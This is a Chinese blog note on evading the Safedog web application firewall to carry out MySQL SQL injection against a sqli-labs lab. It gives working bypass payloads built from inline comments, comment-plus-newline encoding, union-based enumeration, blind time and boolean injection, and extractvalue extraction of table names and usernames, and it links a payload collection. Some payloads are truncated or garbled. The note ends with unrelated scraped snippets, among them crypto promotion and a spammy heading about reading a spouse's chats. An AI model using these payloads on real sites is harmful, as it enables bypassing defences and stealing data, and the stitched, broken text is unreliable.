SQL注入bypass笔记
waf是通过使用一组规则来区分正常请求和恶意请求的。例如:安全狗、云锁、D盾等。
绕过:既然是存在规则匹配,那么就可以想 *** 绕过规则匹配。比如常见的黑名单限制,黑名单模型使用预设
win7
phpstdy(mysql:5.7.0 php:5.3.29)
网站apache安全狗(4.0.28330.0)
sqlilabs靶场
将防护等级调到更高级:
and 1=1 绕过
首先,尝试' and 1=1和' or 1=1
都会被防火墙拦截。 尝试替换and和or关键字:替换成&&, ||
还是被狗拦截掉了。那么就要想办法把1=1入手,要么将1=1换掉,要么使用尝试内联注释。首先,含是使用and或者or,
将1=1改成负数-1=-1
可以看到成功绕过,说明安全狗没有对负数进行检测。
接着尝试内联注释:
and1=1--+ --拦截 and1=1--+ --不拦截
order by 绕过:
就使用内联注释
orderby+3--+ --不拦截 order%23%0Aby 3--+ --不拦截,当发现%23注释之后,不会再去检查了,所以就利用单行注释和换行来绕过
一般的安全狗对order by 查询中间添加一些无用的数据不会拦截。
union select 绕过
内联注入:
union 1,2,3
当然也可以fuzz中间的版本号:0440 – 10449 11440-11449 12440-12449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 19440-19449都可以。
注:MySQL数据库为了保持与其他数据库兼容,特意新添加的功能。 为了避免从MySQL中导出的SQL语句不能被其他数据库使用,它把一些 MySQL特有的语句放在 /! .https://www.freebuf.com/articles/ 中,这些语句在不兼容的数据库中使用时便 不会执行。而MySQL自身却能识别、执行。 /50001/表示数据库版本>=5.00.01时中间的语句才会执行。
第二种 *** :注释绕过
union %23%0aall select ——union 注释+换行 all select(做出多次查询)
函数的注入
采用的办法内联注释:
union 1,hex(user()),3 union 1,hex(database()),3 union 1,hex(@@version()),3 union 1,hex(@@datadir),3
另一种 *** :
?
这里就是--+注释符把后面的/形成了一个完整的sql语句。
对于information_schema是没有进行检测的,所以只要保证前面的union和select绕过就可以。
1:
?id=-1'union 1,group_concat(schema_name),3 from information_schema.schemata--+
2:
?
? ?
那么通过这两种 *** ,就能得到数据库的表,列命和字段内容。
盲注
1.时间盲注:
利用 *** :内联注释
? ?(),1,1))=115,sleep(3),1)--+*/ ?),1,1))=115,sleep(),1)--+*/ ?id=1' if(ascii(substr(database(),1,1))=115,sleep(4),1)--+
利用 *** :if 前面添加!~ -
?id=1' and !if(ascii(substr(database(),1,1))=115,sleep(3),1)--+ ?id=1' and ~if(ascii(substr(database(),1,1))=115,sleep(3),1)--+ ?id=1' and -if(ascii(substr(database(),1,1))=115,sleep(3),1)--+
bool盲注
盲注 *** :内联注释
?id=1' length(database())=8--+ ?(),1)='s'--+ ?() limit 0,1),1,1))=101--+ ?database()),0x7e))--+ ?id=1%27%20and%20extractvalue%23%0A(1,concat(0x7e,(version()),0x7e))--+
爆表:
? ?id=1%27%20and%20extractvalue%23%0A(1,concat(0x7e,(select%20group_concat(table_name)from%23%0ainformation_schema.tables%23%0awhere%20table_schema=0x7365637572697479),0x7e))--+
爆列名更上面的一样。那么爆字段内容不能直接select username from users limit 1而是在from后面再写一个注释换行。
?id=1%27%20and%20extractvalue%23%0A(1,concat(0x7e,(select%20username%20from%23%0ausers%20limit%201),0x7e))--+
对于这个版本的安全狗,它对http参数污染能够直接绕过。但是有的含是需要结合内联注释、函数、反引号、注释换行结合起来进行绕狗。但是,最新的安全狗,它的规则多了,防护也高,只有不断尝试这些 *** ,或者一些新的思路,然后才能绕过。对与绕过还是多尝试,自己搭环境去做,然后慢慢有了思路,就可以绕过了
payload参考链接https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI?
AE米算被人戏称是阿姨币,我是在二十多天前推荐的。这个项目中途有段时间, 眼看就快倒闭了,不知道现在怎么还救活了。不要钱,也不要脸,只是复投一次才气卖币,准备地说我已经变现几百米了,不外按今天一单来说...
如何查老婆微信聊天记录(如何查别人的聊天记录)导读:生物学上病毒侵入的细胞就叫宿主细胞,而病毒则借助宿主的蛋白质和其他物质制造自己的身体,由于控制细胞增殖的结构基因发生突变,调节系统对它失去控制,结果...
有这样的一个运用(自己写的一个, 后边会附上代码),你手动去注入的时分,发现是有注入点的在搞清楚遥控的作业流程后,咱们知道是能够对其进行彻底的模仿(先假定射频序列已知),创造出一个以假乱真的遥控来。...
海外网12月3日电 美国检方近期就特朗普2017年就职典礼滥用资金一案进行调查,并传唤了特朗普的女儿伊万卡和第一夫人梅拉尼娅。 据美国有线电视新闻网(CNN)2日报道,一份法庭文件显示,伊万...
}./pages Cash robbery含糊测验器的构建其实十分简略,首要咱们需求一个用来出现字符作用的Web页面,然后经过CSS来添加页面宽度,并让正常字符平移到页面右侧,...
创业公司两个字不锈钢管公司取名名字大全打分 勉强不锈钢管公司 64.98分 令闻不锈钢管公司 47.96分 名模不锈钢管公司 54.23分 目论不锈钢管公司 94.7...